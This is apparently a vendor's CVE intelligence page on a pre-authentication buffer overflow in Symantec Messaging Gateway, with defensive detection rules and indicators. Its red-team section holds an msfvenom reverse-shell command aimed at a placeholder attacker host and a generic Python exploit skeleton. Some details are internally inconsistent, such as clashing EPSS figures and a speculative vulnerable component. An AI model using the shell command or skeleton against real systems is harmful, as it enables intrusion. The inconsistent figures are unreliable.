☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-23615

CVE-2024-23615 Remote Code Execution in Symantec
📅 PUBLISHED: 2024-01-25 23:32 UTC 🔄 UPDATED: 2026-10-09 05:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.88%
👁️
1.88% probability
47.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23615 is a critical, pre-authentication buffer overflow vulnerability in Symantec Messaging Gateway (SMG) versions 10.5 and earlier. This flaw allows a remote, unauthenticated attacker to achieve full remote code execution (RCE) as the root user, granting complete control over the affected appliance. The vulnerability carries a maximum CVSS score of 10.0, indicating the highest possible severity. Given the lack of a confirmed patch and the nature of the exploit (network-based, no authentication required), this poses an immediate and severe risk to any organization running an unpatched SMG instance. The EPSS score of 0.0% suggests that exploitation is not yet widespread in the wild, but the technical severity demands immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise appliance from Symantec (Broadcom). The risk is entirely within the supply chain of the appliance itself, meaning organizations must rely on the vendor for a patch or implement strict network segmentation and access controls.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 10.0 (Critical)
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - Exploit does not cross trust boundaries.
  • Confidentiality (C): High (H) - Full system compromise, all data accessible.
  • Integrity (I): High (H) - Attacker can modify system files and data.
  • Availability (A): High (H) - Attacker can cause denial of service or full system control.

Threat Level: Critical. This is a "wormable" vulnerability that could be used to create a self-propagating attack within a network segment.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow (CWE-120) within the Symantec Messaging Gateway's network-facing service. The exact vulnerable component is not publicly disclosed, but it is likely a daemon handling SMTP, HTTP, or a proprietary management protocol. The overflow occurs when the software copies user-supplied data into a fixed-size buffer without proper bounds checking. By sending a specially crafted packet or request that exceeds the buffer's capacity, an attacker can overwrite adjacent memory regions, including the return address on the stack.

Exploitation Mechanics:

  1. Trigger: The attacker sends a malicious payload (e.g., an oversized HTTP header, a malformed SMTP command, or a crafted management request) to the SMG appliance.
  2. Overflow: The vulnerable function copies the payload into a stack buffer, overwriting the saved instruction pointer (EIP/RIP).
  3. Control Hijack: The attacker controls the overwritten return address, redirecting execution to a shellcode payload placed within the same buffer or elsewhere in memory.
  4. Code Execution: The shellcode executes with root privileges, giving the attacker a reverse shell, backdoor, or the ability to execute arbitrary commands.

The lack of ASLR/DEP bypass details in public intel suggests that the exploit may be straightforward, or that the appliance's security mitigations are weak.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern would resemble:

Vulnerable (C-style):

void handle_request(char *user_input) {
    char buffer[256];
    // No bounds check - vulnerable
    strcpy(buffer, user_input);
    // ... process buffer
}

Patched (Hypothetical):

void handle_request(char *user_input) {
    char buffer[256];
    // Bounds checking with safe function
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The patch would need to replace unsafe functions like strcpy, sprintf, or memcpy with their bounded counterparts and implement proper input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • Target: A virtualized instance of Symantec Messaging Gateway 10.5 (or earlier) running in an isolated network.
  • Attacker: Kali Linux or similar penetration testing distribution.
  • Tools: Metasploit, custom Python/Perl exploit script, GDB (for debugging), Nmap.

Exploitation Steps (Conceptual):

  1. Reconnaissance: Identify the SMG appliance via Nmap (nmap -sV -p 443,25,80 <target>).
  2. Fuzzing: Use a fuzzer (e.g., Boofuzz) to identify the exact input field that causes a crash.
  3. Crash Analysis: Attach a debugger (GDB) to the vulnerable process and analyze the crash dump to determine the offset to the return address.
  4. Payload Construction:
    • Generate shellcode (e.g., msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f python).
    • Prepend NOP sled (e.g., \x90 * 100).
    • Append the return address pointing to the NOP sled.
  5. Exploit Delivery: Send the crafted payload to the target service.
  6. Post-Exploitation: Establish a reverse shell, escalate privileges (if not already root), and pivot.

Example Exploit Skeleton (Python):

import socket

target_ip = "192.168.1.100"
target_port = 443

# Offset to EIP (determined via fuzzing)
offset = 1032

# Return address (example - must be calculated)
ret_addr = b"\x42\x42\x42\x42"

# Shellcode (msfvenom output)
shellcode = b"\x31\xc0\x48\xbb..."

# NOP sled
nop_sled = b"\x90" * 100

payload = b"A" * offset + ret_addr + nop_sled + shellcode

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Blue Team (Defensive)

Detection & Response:

  1. Network Monitoring: Look for anomalous traffic to SMG ports (25, 80, 443, 4100, etc.) with unusually large payloads or malformed protocol headers.
  2. Host Monitoring: Monitor SMG processes for crashes (segfaults) or unexpected child processes (e.g., /bin/sh).
  3. Log Analysis: Check SMG logs for repeated connection attempts, failed authentication, or service restarts.
  4. Immediate Mitigation:
    • Isolate the SMG appliance from the internet and untrusted networks.
    • Implement strict firewall rules to allow only trusted IPs.
    • If possible, disable the vulnerable service or feature.
    • Apply any vendor-issued workaround or patch immediately when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections from SMG to unknown external IPs on high ports (e.g., 4444, 1337).
    • Inbound packets to SMG with excessive length or malformed protocol fields.
    • Unusual HTTP POST requests with large body sizes to / or /admin.
  • Host IOCs:
    • Unexpected processes: /bin/sh, /bin/bash, nc, python, perl running as root.
    • New files in /tmp/ or /var/tmp/ with suspicious names (e.g., .exploit, shell).
    • Modified system binaries (e.g., sshd, httpd).
    • Core dump files in /var/crash/ or /tmp/.
  • File IOCs:
    • Hash of known exploit payloads (if published later).
    • Presence of reverse shell scripts or binaries.

Detection Engineering

YARA Rule

rule CVE_2024_23615_SMG_Exploit {
    meta:
        description = "Detects potential exploit payloads for CVE-2024-23615 targeting Symantec Messaging Gateway"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23615"
    strings:
        $s1 = "Symantec" ascii wide nocase
        $s2 = "Messaging" ascii wide nocase
        $s3 = "Gateway" ascii wide nocase
        $shellcode = { 31 c0 48 bb } // Example shellcode signature
        $nop_sled = { 90 90 90 90 90 }
    condition:
        (uint16(0) == 0x4d5a or uint16(0) == 0x5a4d) and // PE file
        (1 of ($s*) or $shellcode or $nop_sled)
}

Sigma Rule

title: CVE-2024-23615 Symantec Messaging Gateway Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic patterns indicative of exploitation attempts against CVE-2024-23615
author: Valters IT
date: 2024/01/01
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 25
            - 80
            - 443
            - 4100
        bytes_out: "> 10000"
    condition: selection
falsepositives:
    - Legitimate large email attachments (port 25)
    - Large file uploads (port 80/443)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 25,80,443,4100 (msg:"CVE-2024-23615 Symantec Messaging Gateway Buffer Overflow Attempt"; flow:to_server,established; content:"|41 41 41 41|"; depth:1000; byte_test:4,>,1024,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Immediately isolate all Symantec Messaging Gateway appliances from untrusted networks (internet, DMZ).
  2. Access Control: Implement strict firewall rules to allow only necessary IPs and ports.
  3. Monitor: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
  4. Vendor Contact: Contact Symantec/Broadcom support for an official patch or workaround.

Long-Term Remediation:

  1. Patch: Apply the vendor patch as soon as it is released.
  2. Upgrade: Upgrade to a non-vulnerable version of SMG or migrate to a different messaging gateway solution.
  3. Hardening: Disable unnecessary services, implement network segmentation, and enforce least-privilege access.
  4. Backup: Ensure regular backups of the SMG configuration and data.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23615/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.